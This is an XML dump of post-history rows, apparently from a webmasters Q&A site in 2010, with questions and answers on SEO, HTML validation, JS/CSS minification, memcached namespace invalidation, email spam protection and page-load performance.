  <row Id="559" PostHistoryTypeId="5" PostId="14" RevisionGUID="fd03b819-23e6-4fc1-98fb-4f9665c567ad" CreationDate="2010-07-08T22:55:16.323" UserId="36" Comment="added 48 characters in body; added 108 characters in body; added 6 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the [Google WebMaster tools][1].&#xD;&#xA; - Keep content unique and relevant to your website.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA; - Make sure your site [loads as quickly as possible][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better.  If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="560" PostHistoryTypeId="4" PostId="45" RevisionGUID="f963d7b8-774d-43ff-91e7-1f9c34ca751c" CreationDate="2010-07-08T22:53:18.310" UserId="36" Comment="deleted 107 characters in body; edited title" Text="How do I take payments on my website?" />
  <row Id="561" PostHistoryTypeId="2" PostId="310" RevisionGUID="b5803b2e-21cf-4226-89d1-1b4ce18e148b" CreationDate="2010-07-08T22:59:08.237" UserId="141" Text="What are the advantages and disadvantages (if any) of making sure that all pages validate compared to having non-valid HTML that however works on all major browsers?&#xD;&#xA;&#xD;&#xA;Also, is having valid HTML after Javascript executes just as important?&#xD;&#xA;" />
  <row Id="562" PostHistoryTypeId="1" PostId="310" RevisionGUID="b5803b2e-21cf-4226-89d1-1b4ce18e148b" CreationDate="2010-07-08T22:59:08.237" UserId="141" Text="HTML validation: is it worth it?" />
  <row Id="563" PostHistoryTypeId="3" PostId="310" RevisionGUID="b5803b2e-21cf-4226-89d1-1b4ce18e148b" CreationDate="2010-07-08T22:59:08.237" UserId="141" Text="&lt;javascript&gt;&lt;html&gt;&lt;validation&gt;" />
  <row Id="564" PostHistoryTypeId="5" PostId="14" RevisionGUID="6306ca95-6300-46b8-9f32-580c8a87bac6" CreationDate="2010-07-08T23:04:03.783" UserId="36" Comment="deleted 25 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the [Google WebMaster tools][1].&#xD;&#xA; - Keep content unique and relevant to your website.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA; - Ensure a [fast load time][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better.  If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="565" PostHistoryTypeId="6" PostId="220" RevisionGUID="bb936104-9bd3-489c-b234-27819ee3c3ea" CreationDate="2010-07-08T23:04:21.067" UserId="138" Comment="edited tags" Text="&lt;iphone&gt;&lt;android&gt;&lt;redirects&gt;&lt;user-agent&gt;" />
  <row Id="566" PostHistoryTypeId="2" PostId="311" RevisionGUID="41d6e8fa-24fe-4dd4-b045-457431e5474d" CreationDate="2010-07-08T23:04:58.850" UserId="140" Text="I always have [YUI Compressor][1] run when I build. It compresses both JavaScript and CSS.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;&#xD;&#xA;    Usage: java -jar yuicompressor-x.y.z.jar [options] [input file]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="567" PostHistoryTypeId="2" PostId="312" RevisionGUID="f4db438d-018b-47b9-b84e-921f5aa576dd" CreationDate="2010-07-08T23:08:37.410" UserId="141" Text="I recently made a change to my User class (which is memcached); is there any way I can invalidate all entries whose key begins with `User` without invalidating the entire cache?&#xD;&#xA;&#xD;&#xA;If not are there any workarounds? I would rather not delete everything." />
  <row Id="568" PostHistoryTypeId="1" PostId="312" RevisionGUID="f4db438d-018b-47b9-b84e-921f5aa576dd" CreationDate="2010-07-08T23:08:37.410" UserId="141" Text="Is there any way to invalidate all memcache entries that begin with &quot;User*&quot;?" />
  <row Id="569" PostHistoryTypeId="3" PostId="312" RevisionGUID="f4db438d-018b-47b9-b84e-921f5aa576dd" CreationDate="2010-07-08T23:08:37.410" UserId="141" Text="&lt;cache&gt;" />
  <row Id="570" PostHistoryTypeId="2" PostId="313" RevisionGUID="1aed4845-064a-4b7f-b48f-e157a44f6aba" CreationDate="2010-07-08T23:09:43.773" UserId="27" Text="Actually, Spidermonkey (FF) and V8 (Chrome) are very similar in the core javascript engine API in that both try to be standards compliant.  The main difference is that Spidermonkey tends to add some nice extras to their API if they feel it is needed.  All of this is found at the [Mozilla Development Center (MDC) for JavaScript][1] and well documented if it is not a standard.  On a side note, I personally search the MDC as my primary source for the JavaScript API.&#xD;&#xA;&#xD;&#xA;This story is entirely different for IE.  While most of the core API such as `Math` and `String` are the same, IE differs greatly when it comes to the `document` object, and any manipulation therein I would agree with balexandre and say that jQuery does a very good job at taking care of that mess for you.&#xD;&#xA;&#xD;&#xA;The last thing that I will mention is while each engine will process the JavaScript code differently (some faster, some slower, etc.), but this can mostly be considered a black box and all you should need to worry about are the differences in the APIs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/JavaScript" />
  <row Id="571" PostHistoryTypeId="5" PostId="311" RevisionGUID="07bca23b-a337-4c8c-a52a-20c55f146f7f" CreationDate="2010-07-08T23:16:17.680" UserId="140" Comment="added 8 characters in body; added 156 characters in body" Text="I always have Yahoo's [YUI Compressor][1] run when I build. It compresses both JavaScript and CSS.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;&#xD;&#xA;    Usage: java -jar yuicompressor-x.y.z.jar [options] [input file]&#xD;&#xA;&#xD;&#xA;You can find many websites that run this tool for you, which will save you the time of having to install/configure the tool. Google &quot;online yui compressor&quot;." />
  <row Id="572" PostHistoryTypeId="2" PostId="314" RevisionGUID="dae4c92e-d3a9-40fa-a757-b601f31f0d70" CreationDate="2010-07-08T23:16:38.503" UserId="120" Text="**Use natural language to spell out the eMail address...**&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;    thatguy at gmail dot com&#xD;&#xA;&#xD;&#xA;You'd be surprised how much harder it is to write a bot that can differentiate natural language vs writing a bot that just searches for the @ sign and regexes a normal address.&#xD;&#xA;&#xD;&#xA;It isn't 100% foolproof but it isn't any worse than obfuscation and it won't alienate your visually impaired users." />
  <row Id="573" PostHistoryTypeId="2" PostId="315" RevisionGUID="14b4a8e3-69ea-4975-8d45-45c7337f5c82" CreationDate="2010-07-08T23:22:18.497" UserId="141" Text="Ask the user to resolve a CAPTCHA before showing them the email address (or if you have a contact form, before letting the user submit it).&#xD;&#xA;&#xD;&#xA;It's the most annoying for the users but definitely the most effective." />
  <row Id="574" PostHistoryTypeId="2" PostId="316" RevisionGUID="7c6b5f33-ce74-4390-a37e-82f30ea7f658" CreationDate="2010-07-08T23:24:53.017" UserId="141" Text="Use a graphic library (such as [GD][1] which is supported by [PHP][2], or similar) to dynamically create .png images containing the email addresses.&#xD;&#xA;&#xD;&#xA;[Compared to my other answer][3] this solution is less annoying for the users (but not transparent; they can't copy &amp; paste it but must re-type it from scratch) but is also less secure: a computer can potentially read the unobfuscated image.&#xD;&#xA;&#xD;&#xA;But overall I think it's a good compromise; it will stop the vast majority of spam bots.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.boutell.com/gd/&#xD;&#xA;  [2]: http://php.net/manual/en/book.image.php&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/26/way-to-list-contact-us-email-address-on-web-site-yet-reduce-likelihood-of-spam/315#315" />
  <row Id="575" PostHistoryTypeId="5" PostId="311" RevisionGUID="e8da1c1b-36df-4fd7-b03e-d8ddd8181fe2" CreationDate="2010-07-08T23:25:27.493" UserId="140" Comment="added 199 characters in body; deleted 13 characters in body" Text="There are three very popular tools for compressing/minifying your JavaScript and CSS.&#xD;&#xA;&#xD;&#xA; - Yahoo YUI Compressor &#xD;&#xA; - Google Closure Compiler&#xD;&#xA; - Microsoft AJAX Minifier&#xD;&#xA;&#xD;&#xA;All are very powerful -- you can find comparisons of them quite easily. All are command line tools, so they can be easily integrated into your run automatically when you build or publish your website.&#xD;&#xA;&#xD;&#xA;You can also find many websites that run these tool for you, which will save you the time of having to install/configure. This also helps if you aren't familiar with using command line tools." />
  <row Id="576" PostHistoryTypeId="2" PostId="317" RevisionGUID="5c998de8-117b-42eb-80de-e0a6cb4f2416" CreationDate="2010-07-08T23:25:41.690" UserId="110" Text="Validation in of itself isn't so critical, since few browsers are 100% compliant and the spec isn't 100% clear on how to interpret the rules.&#xD;&#xA;&#xD;&#xA;However being valid HTML puts you in a better position to adapt and improve your site.  As the standards move, they will typically migrate forward and if you new site is valid, then updating to support the latest thing should be easier.&#xD;&#xA;&#xD;&#xA;Bottom, being valid makes it easier to stay on top of the game and be as compatible as possible with the widest audience." />
  <row Id="577" PostHistoryTypeId="2" PostId="318" RevisionGUID="e6e4adc0-536b-4756-a404-382320adf579" CreationDate="2010-07-08T23:27:28.753" UserId="132" Text="I consider valid HTML a worthwhile goal, but do not see it as the be-all and end-all of building good websites.&#xD;&#xA;&#xD;&#xA;The trick is, your markup may be perfectly valid, yet it may not be semantic - e.g. using tables for layout or navigation. There's a difference between valid code and semantic code.&#xD;&#xA;&#xD;&#xA;On another note, if you use advertising or external scripts, they may insert their own markup which has a chance to really mess with your own." />
  <row Id="578" PostHistoryTypeId="2" PostId="319" RevisionGUID="83c01d88-f6dd-4613-97ac-70b3fecd2ce5" CreationDate="2010-07-08T23:29:29.343" UserId="149" Text="I pass all contact forms through a throwaway Gmail account, that forwards mail to the real email address. It's free, it's easy, and Gmail's spam detection is top notch.&#xD;&#xA;&#xD;&#xA;It requires no extra effort when making the website, and if anything gets through you just login to the Gmail account and flag it as spam.&#xD;&#xA;&#xD;&#xA;You can then set the Gmail inbox to either automatically archive anything that has been forwarded, or even delete it if you don't want that extra copy kept there." />
  <row Id="579" PostHistoryTypeId="5" PostId="311" RevisionGUID="3e38b799-6076-465c-b41f-b2b2f7269db5" CreationDate="2010-07-08T23:32:18.120" UserId="140" Comment="added 115 characters in body" Text="There are several very popular tools for compressing/minifying your JavaScript and CSS.&#xD;&#xA;&#xD;&#xA; - Yahoo YUI Compressor &#xD;&#xA; - Microsoft AJAX Minifier&#xD;&#xA; - Google Closure Compiler (JavaScript-only)&#xD;&#xA;&#xD;&#xA;All are very powerful -- you can find comparisons of them quite easily. All are command line tools, so they can be easily integrated into your run automatically when you build or publish your website.&#xD;&#xA;&#xD;&#xA;You can also find many websites that run these tool for you, which will save you the time of having to install/configure. This also helps if you aren't familiar with using command line tools.&#xD;&#xA;&#xD;&#xA;Personally, I've always had YUI Compressor configured to run when I build and recommend it." />
  <row Id="580" PostHistoryTypeId="2" PostId="320" RevisionGUID="9813d2ce-a146-43aa-a219-ba5d230d9424" CreationDate="2010-07-08T23:35:09.100" UserId="138" Text="There's a very good metric that never fails for when we tweak (or sometimes un-tweak) our highly successful website. If the pages are even 0.5 of a second slower, sales drop by up to 30%. Sounds crazy, but it's true. When I remember to enable GZip compression and minify our JS/CSS and switched to sprites our sales went up." />
  <row Id="581" PostHistoryTypeId="2" PostId="321" RevisionGUID="1f80621d-a92e-444f-bb07-3238d9d36740" CreationDate="2010-07-08T23:36:56.273" UserId="138" Text="What are the most effective methods when it comes to reducing the amount of bandwidth a website needs to render a page?&#xD;&#xA;&#xD;&#xA;Aggressive caching? Minifying JS/CSS? Gzip? CMS? Sprites?" />
  <row Id="582" PostHistoryTypeId="1" PostId="321" RevisionGUID="1f80621d-a92e-444f-bb07-3238d9d36740" CreationDate="2010-07-08T23:36:56.273" UserId="138" Text="Effective methods of reducing bandwidth (and thus page load times)?" />
  <row Id="583" PostHistoryTypeId="3" PostId="321" RevisionGUID="1f80621d-a92e-444f-bb07-3238d9d36740" CreationDate="2010-07-08T23:36:56.273" UserId="138" Text="&lt;bandwidth&gt;&lt;compression&gt;" />
  <row Id="584" PostHistoryTypeId="2" PostId="322" RevisionGUID="712670ba-dc63-4436-b040-77451acd5a9f" CreationDate="2010-07-08T23:37:21.450" UserId="110" Text="[Wild West Domains][1] (GoDaddy I think) but it isn't free.  [Enom][2] does it too, which I understand them to be free but I haven't personally used it.&#xD;&#xA;&#xD;&#xA;Found another source:  &#xD;&#xA;[http://stackoverflow.com/questions/2523260/recommendations-for-domain-name-registrar-with-api-support][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wildwestdomains.com/gdshop/default.asp&#xD;&#xA;  [2]: http://www.enom.com/resellers/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/2523260/recommendations-for-domain-name-registrar-with-api-support" />
  <row Id="585" PostHistoryTypeId="5" PostId="311" RevisionGUID="79cf394c-34a1-4dad-b23c-cfb8f1a54dae" CreationDate="2010-07-08T23:38:26.643" UserId="140" Comment="added 12 characters in body" Text="There are several very popular tools for compressing/minifying your JavaScript and CSS.&#xD;&#xA;&#xD;&#xA; - Yahoo YUI Compressor &#xD;&#xA; - Microsoft AJAX Minifier&#xD;&#xA; - Google Closure Compiler (JavaScript-only)&#xD;&#xA;&#xD;&#xA;All are very powerful -- you can find comparisons of them quite easily. All are command line tools, so they can be easily integrated into your run automatically when you build or publish your website.&#xD;&#xA;&#xD;&#xA;You can also find many websites that run these tool for you, which will save you the time of having to install/configure. This also helps if you aren't familiar with using command line tools.&#xD;&#xA;&#xD;&#xA;Personally, I've always used [YUI Compressor][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/compressor" />
  <row Id="586" PostHistoryTypeId="2" PostId="323" RevisionGUID="414da425-3ec9-4965-bd92-1fa35b31f5ff" CreationDate="2010-07-08T23:38:46.770" UserId="152" Text="If you create a [News Sitemap][1] that rule is waived. It is likely that those other publishers did that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/news_pub/bin/answer.py?answer=74288" />
  <row Id="587" PostHistoryTypeId="2" PostId="324" RevisionGUID="434ca772-40bb-4681-8b22-0017ff60ec4e" CreationDate="2010-07-08T23:39:20.060" UserId="141" Text="A few basic methods easily implementable by any website:&#xD;&#xA;&#xD;&#xA; * Compress your HTML, CSS and Javascript with `deflate` or `gzip` if the browser who made the request supports it.&#xD;&#xA; * Minify your javascript with [Google Closure Compiler][1]&#xD;&#xA; * Minify your css with [YUI Compressor][2]&#xD;&#xA;&#xD;&#xA;A little more involved:&#xD;&#xA;&#xD;&#xA; * If a page or image is unlikely to change, tell the browser to cache it. Most web servers already do this for static files, so all you should have to do is add it to your dynamic scripts where possible.&#xD;&#xA; * Merge your CSS and JS files into a single one **automatically**. This is advantageous as it decreases the HTTP requests (which have overhead and which certain stupid browsers *cough* ie *cough* limit to 2 at a time per domain).&#xD;&#xA; * Use sprites that are **generated automatically** (or else you'll go crazy). A sprite is a single image containing multiple icons or other small images; you then choose which image to show with the CSS `background` property. [Example][3].&#xD;&#xA;&#xD;&#xA;   The advantage is that the client makes less HTTP requests (which have overhead).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/closure/compiler/&#xD;&#xA;  [2]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [3]: http://sstatic.net/webmasters/img/sprites.png" />
  <row Id="588" PostHistoryTypeId="2" PostId="325" RevisionGUID="7eb095b2-7c53-4a83-8c64-ca57eab5067b" CreationDate="2010-07-08T23:39:33.507" UserId="138" Text="My site scores a `D` in YSlow. How important is it that I get it up to say a `B` or an `A`?&#xD;&#xA;&#xD;&#xA;I feel the page already loads quickly. I tested it at home on a modest 512k connection and it loaded in an acceptable time and was quick to browse etc. But according to YSlow there's heaps of room for improvement?&#xD;&#xA;&#xD;&#xA;Is it worth it?" />
  <row Id="589" PostHistoryTypeId="1" PostId="325" RevisionGUID="7eb095b2-7c53-4a83-8c64-ca57eab5067b" CreationDate="2010-07-08T23:39:33.507" UserId="138" Text="How much attention should I pay to page-load metrics?" />
  <row Id="590" PostHistoryTypeId="3" PostId="325" RevisionGUID="7eb095b2-7c53-4a83-8c64-ca57eab5067b" CreationDate="2010-07-08T23:39:33.507" UserId="138" Text="&lt;performance&gt;" />
  <row Id="591" PostHistoryTypeId="2" PostId="326" RevisionGUID="fef175b6-204d-44f8-ac4b-246995c3ad4a" CreationDate="2010-07-08T23:39:42.307" UserId="151" Text="Yes.&#xD;&#xA;&#xD;&#xA;One of the web servers used to have a large spike in load every few hours. After looking into the logs, I found out when the load spike happened, there where a lot of people looking at the gallery. &#xD;&#xA;&#xD;&#xA;So I off-loaded 99% of the static content from apache to nginx. apache was left to serve all of the php. The load on my web servers dropped to a nice low number and with no more high load spikes.&#xD;&#xA;&#xD;&#xA;If you are looking to get more out of your servers, definitely have some light-weight server serve all the static content." />
  <row Id="592" PostHistoryTypeId="2" PostId="327" RevisionGUID="6c4dc45e-1191-4357-81e9-4c63217745bf" CreationDate="2010-07-08T23:40:23.427" UserId="140" Text="Going through the checkout process at GoDaddy is a horrific experience. This is thankfully not the case with https://www.hover.com/" />
  <row Id="593" PostHistoryTypeId="16" PostId="327" RevisionGUID="6c4dc45e-1191-4357-81e9-4c63217745bf" CreationDate="2010-07-08T23:40:23.427" UserId="-1" />
  <row Id="594" PostHistoryTypeId="2" PostId="328" RevisionGUID="284dac08-7a90-4fa1-87d2-aa9574ce1e9c" CreationDate="2010-07-08T23:43:01.660" UserId="147" Text="[Dreamhost][1] is a great hosting company. I've been using them for like 5 years now with out a single complaint.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com/r.cgi?236212" />
  <row Id="595" PostHistoryTypeId="16" PostId="328" RevisionGUID="284dac08-7a90-4fa1-87d2-aa9574ce1e9c" CreationDate="2010-07-08T23:43:01.660" UserId="-1" />
  <row Id="596" PostHistoryTypeId="2" PostId="329" RevisionGUID="25619753-535b-49ab-a16e-8a640e467f9f" CreationDate="2010-07-08T23:43:44.250" UserId="72" Text="What are the good blog or RSS feed about Search Engine Optimization ?" />
  <row Id="597" PostHistoryTypeId="1" PostId="329" RevisionGUID="25619753-535b-49ab-a16e-8a640e467f9f" CreationDate="2010-07-08T23:43:44.250" UserId="72" Text="What are the good blog/rss feed about SEO ?" />
  <row Id="598" PostHistoryTypeId="3" PostId="329" RevisionGUID="25619753-535b-49ab-a16e-8a640e467f9f" CreationDate="2010-07-08T23:43:44.250" UserId="72" Text="&lt;seo&gt;&lt;blog&gt;&lt;suggestions&gt;" />
  <row Id="599" PostHistoryTypeId="16" PostId="329" RevisionGUID="25619753-535b-49ab-a16e-8a640e467f9f" CreationDate="2010-07-08T23:43:44.250" UserId="72" />
  <row Id="600" PostHistoryTypeId="5" PostId="324" RevisionGUID="f463e0af-f771-474b-b597-91a0ebbb6318" CreationDate="2010-07-08T23:44:26.900" UserId="141" Comment="added 237 characters in body; added 12 characters in body" Text="A few basic methods easily implementable by any website:&#xD;&#xA;&#xD;&#xA; * Compress your HTML, CSS and Javascript with `deflate` or `gzip` if the browser who made the request supports it.&#xD;&#xA; * Minify your javascript with [Google Closure Compiler][1]&#xD;&#xA; * Minify your css with [YUI Compressor][2]&#xD;&#xA;&#xD;&#xA;A little more involved:&#xD;&#xA;&#xD;&#xA; * If a page or image is unlikely to change, tell the browser to cache it. Most web servers already do this for static files, so all you should have to do is add it to your dynamic scripts where possible.&#xD;&#xA; * Merge your CSS and JS files into a single one **automatically**. This is advantageous as it decreases the HTTP requests (which have overhead and which certain stupid browsers *cough* ie *cough* limit to 2 at a time per domain).&#xD;&#xA; * Move your static files (CSS, JS, images, etc) to a separate domain name. This causes cookie information not to be sent in the HTTP request (which has overhead and which certain stupid browsers *cough* ie *cough* limit to 2 at a time per domain)&#xD;&#xA; * Use sprites that are **generated automatically** (or else you'll go crazy). A sprite is a single image containing multiple icons or other small images; you then choose which image to show with the CSS `background` property. [Example][3].&#xD;&#xA;&#xD;&#xA;   The advantage is that the client makes less HTTP requests (which have overhead).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/closure/compiler/&#xD;&#xA;  [2]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [3]: http://sstatic.net/webmasters/img/sprites.png" />
  <row Id="602" PostHistoryTypeId="2" PostId="330" RevisionGUID="e85ede94-4ad7-412b-9e45-df324f16ab7d" CreationDate="2010-07-08T23:47:09.313" UserId="147" Text="Specifically about canvas. I have been looking around for a few good one." />
  <row Id="603" PostHistoryTypeId="1" PostId="330" RevisionGUID="e85ede94-4ad7-412b-9e45-df324f16ab7d" CreationDate="2010-07-08T23:47:09.313" UserId="147" Text="Can anyone recommend a good HTML 5 book?" />
  <row Id="604" PostHistoryTypeId="3" PostId="330" RevisionGUID="e85ede94-4ad7-412b-9e45-df324f16ab7d" CreationDate="2010-07-08T23:47:09.313" UserId="147" Text="&lt;html5&gt;" />
  <row Id="605" PostHistoryTypeId="2" PostId="331" RevisionGUID="9040e31c-d3a4-44a6-a0eb-f3422d6f31c3" CreationDate="2010-07-08T23:47:49.840" UserId="141" Text="I really enjoyed reading [Dive into HTML 5][1] (an online, free book).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/" />
  <row Id="606" PostHistoryTypeId="2" PostId="332" RevisionGUID="0c9c739b-18ad-4a3f-99e8-949c207d65c0" CreationDate="2010-07-08T23:48:44.520" UserId="26" Text="In the [memcached FAQ][1], [**Deleting by Namespace**][2]:&#xD;&#xA;&#xD;&#xA;&gt; While memcached does not support any&#xD;&#xA;&gt; type of wildcard deleting or deletion&#xD;&#xA;&gt; by namespace (since there are not&#xD;&#xA;&gt; namespaces), there are some tricks&#xD;&#xA;&gt; that can be used to simulate this.&#xD;&#xA;&gt; They do require extra trips to the&#xD;&#xA;&gt; memcached servers however.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Example, in PHP, for using a namespace&#xD;&#xA;&gt; called foo:&#xD;&#xA;&#xD;&#xA;    $ns_key = $memcache-&gt;get(&quot;foo_namespace_key&quot;);&#xD;&#xA;    // if not set, initialize it&#xD;&#xA;    if($ns_key===false) $memcache-&gt;set(&quot;foo_namespace_key&quot;, rand(1, 10000));&#xD;&#xA;    // cleverly use the ns_key&#xD;&#xA;    $my_key = &quot;foo_&quot;.$ns_key.&quot;_12345&quot;;&#xD;&#xA;    $my_val = $memcache-&gt;get($my_key);&#xD;&#xA;    &#xD;&#xA;    //To clear the namespace do:&#xD;&#xA;    $memcache-&gt;increment(&quot;foo_namespace_key&quot;);&#xD;&#xA;&#xD;&#xA;If you are planning on doing a blanket clear of only part of the cache, you might consider setting the expiry to a shorter time period.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/memcached/wiki/FAQ&#xD;&#xA;  [2]: http://code.google.com/p/memcached/wiki/FAQ#Deleting_by_Namespace&#xD;&#xA;" />
  <row Id="607" PostHistoryTypeId="2" PostId="333" RevisionGUID="466e2f74-edaf-4c24-abb0-59d7e5f5df9e" CreationDate="2010-07-08T23:51:48.790" UserId="69" Text="I would say it depends on what type of site you are running. If it is a person site and you don't care about how many people are visiting it then I would say don't worry about it. If it is a business and you want to give people the best experience you can then I would say worry about it some. A D in YSlow is pretty low and you probably have some reasonably easy things that can be corrected with a little work. Even though it seems fast over a 512k connection there are all kinds of things that can make it seem faster for you than it is for a lot of others. Things like compression are easy to turn on and can help a lot. You should post your score and what type of web server you are using so that people can give more specific advice." />
  <row Id="608" PostHistoryTypeId="5" PostId="324" RevisionGUID="e87958b4-ee37-42b2-bcda-54b7b2aa45d7" CreationDate="2010-07-08T23:56:08.310" UserId="141" Comment="added 165 characters in body" Text="A few basic methods easily implementable by any website:&#xD;&#xA;&#xD;&#xA; * Compress your HTML, CSS and Javascript with `deflate` or `gzip` if the browser who made the request supports it.&#xD;&#xA; * Minify your javascript with [Google Closure Compiler][1]&#xD;&#xA; * Minify your css with [YUI Compressor][2]&#xD;&#xA;&#xD;&#xA;A little more involved:&#xD;&#xA;&#xD;&#xA; * If a page or image is unlikely to change, tell the browser to cache it. Most web servers already do this for static files, so all you should have to do is add it to your dynamic scripts where possible.&#xD;&#xA; * Merge your CSS and JS files into a single one **automatically**. This is advantageous as it decreases the HTTP requests (which have overhead and which certain stupid browsers - and by that I mean Internet Explorer - limit by default 2 requests at a time per domain).&#xD;&#xA; * Move your static files (CSS, JS, images, etc) to a separate domain name. This causes cookie information not to be sent in the HTTP request.&#xD;&#xA; * Use sprites that are generated **automatically**. A sprite is a single image containing multiple icons or other small images; you then choose which image to show with the CSS `background` property. [Example][3].&#xD;&#xA;&#xD;&#xA;   The advantage is that the client makes less HTTP requests (which have overhead).&#xD;&#xA;&#xD;&#xA;I bolded &quot;automatically&quot; because if you are doing these things manually then it's definitely not worth it, and it makes code maintenance a nightmare. Usually doing it automatically means writing a custom script, which is why it's a &quot;little more involved&quot;,&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/closure/compiler/&#xD;&#xA;  [2]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [3]: http://sstatic.net/webmasters/img/sprites.png" />
  <row Id="609" PostHistoryTypeId="5" PostId="280" RevisionGUID="fe45d387-7ef5-4a82-9ec3-cefa634ead78" CreationDate="2010-07-08T23:58:30.023" UserId="26" Comment="added definition of A/B Testing" Text="Here's a great slidedeck: **[A/B Testing Framework Design][1]** by [Patrick McKenzie][2].&#xD;&#xA;&#xD;&#xA;Wikipedia has a good definitional article on [A/B Testing][3]:&#xD;&#xA;&#xD;&#xA;&gt; A/B testing or bucket testing is a&#xD;&#xA;&gt; method of marketing testing by which a&#xD;&#xA;&gt; baseline control sample is compared to&#xD;&#xA;&gt; a variety of single-variable test&#xD;&#xA;&gt; samples in order to improve response&#xD;&#xA;&gt; rates. A classic direct mail tactic,&#xD;&#xA;&gt; this method has been recently adopted&#xD;&#xA;&gt; within the interactive space to test&#xD;&#xA;&gt; tactics such as banner ads, emails and&#xD;&#xA;&gt; landing pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slideshare.net/patio11/ab-testing-framework-design-3296257&#xD;&#xA;  [2]: http://www.kalzumeus.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/A/B_testing" />
  <row Id="610" PostHistoryTypeId="2" PostId="334" RevisionGUID="dedee370-72cd-42d1-b52a-eef76026ec86" CreationDate="2010-07-09T00:00:38.333" UserId="42" Text="I think that the search box appears at the discretion of Google and their algorithms, but I have heard that having a &lt;a href=&quot;http://www.google.com/cse/&quot;&gt;CSE&lt;/a&gt; set up for your site can increase the likelihood that the box will appear, though this hasn't helped with any of my sites. " />
  <row Id="611" PostHistoryTypeId="2" PostId="335" RevisionGUID="427b126d-8a73-4a4a-b44e-1464592dd879" CreationDate="2010-07-09T00:00:46.367" UserId="80" Text="We've been told SEO is important and that we should conduct keyword research so that we can rank better?  What is that and what tools will help me in the process?" />
  <row Id="612" PostHistoryTypeId="1" PostId="335" RevisionGUID="427b126d-8a73-4a4a-b44e-1464592dd879" CreationDate="2010-07-09T00:00:46.367" UserId="80" Text="What are some great tools to use for keyword research?" />
  <row Id="613" PostHistoryTypeId="3" PostId="335" RevisionGUID="427b126d-8a73-4a4a-b44e-1464592dd879" CreationDate="2010-07-09T00:00:46.367" UserId="80" Text="&lt;seo&gt;&lt;keywords&gt;&lt;research&gt;" />
  <row Id="614" PostHistoryTypeId="2" PostId="336" RevisionGUID="2adf27e7-4324-4bec-a9aa-bca444fea42f" CreationDate="2010-07-09T00:03:49.730" UserId="80" Text="We've developed a dynamic web application which uses URLs such as `product.cfm?id=42` but our marketing team says we should use search friendly URLs and put our keywords into the URLs (so it would be `product-name.cfm` instead).  Our developers tell us this will cost more money and take additional time.  Is it worth the effort?  How important is this to the search engines and will it impact our rankings?" />
  <row Id="615" PostHistoryTypeId="1" PostId="336" RevisionGUID="2adf27e7-4324-4bec-a9aa-bca444fea42f" CreationDate="2010-07-09T00:03:49.730" UserId="80" Text="Do keyword-based filenames and URLs really matter?" />
  <row Id="616" PostHistoryTypeId="3" PostId="336" RevisionGUID="2adf27e7-4324-4bec-a9aa-bca444fea42f" CreationDate="2010-07-09T00:03:49.730" UserId="80" Text="&lt;seo&gt;&lt;keywords&gt;&lt;filenames&gt;&lt;url&gt;" />
  <row Id="617" PostHistoryTypeId="2" PostId="337" RevisionGUID="e1fcea30-d6ee-4dd1-a1a6-62692693ffb1" CreationDate="2010-07-09T00:06:42.270" UserId="80" Text="We're considering pay-per-click advertising to bring traffic to our website.  How should we go about determining how much to budget?  Any other considerations we should be aware of?" />
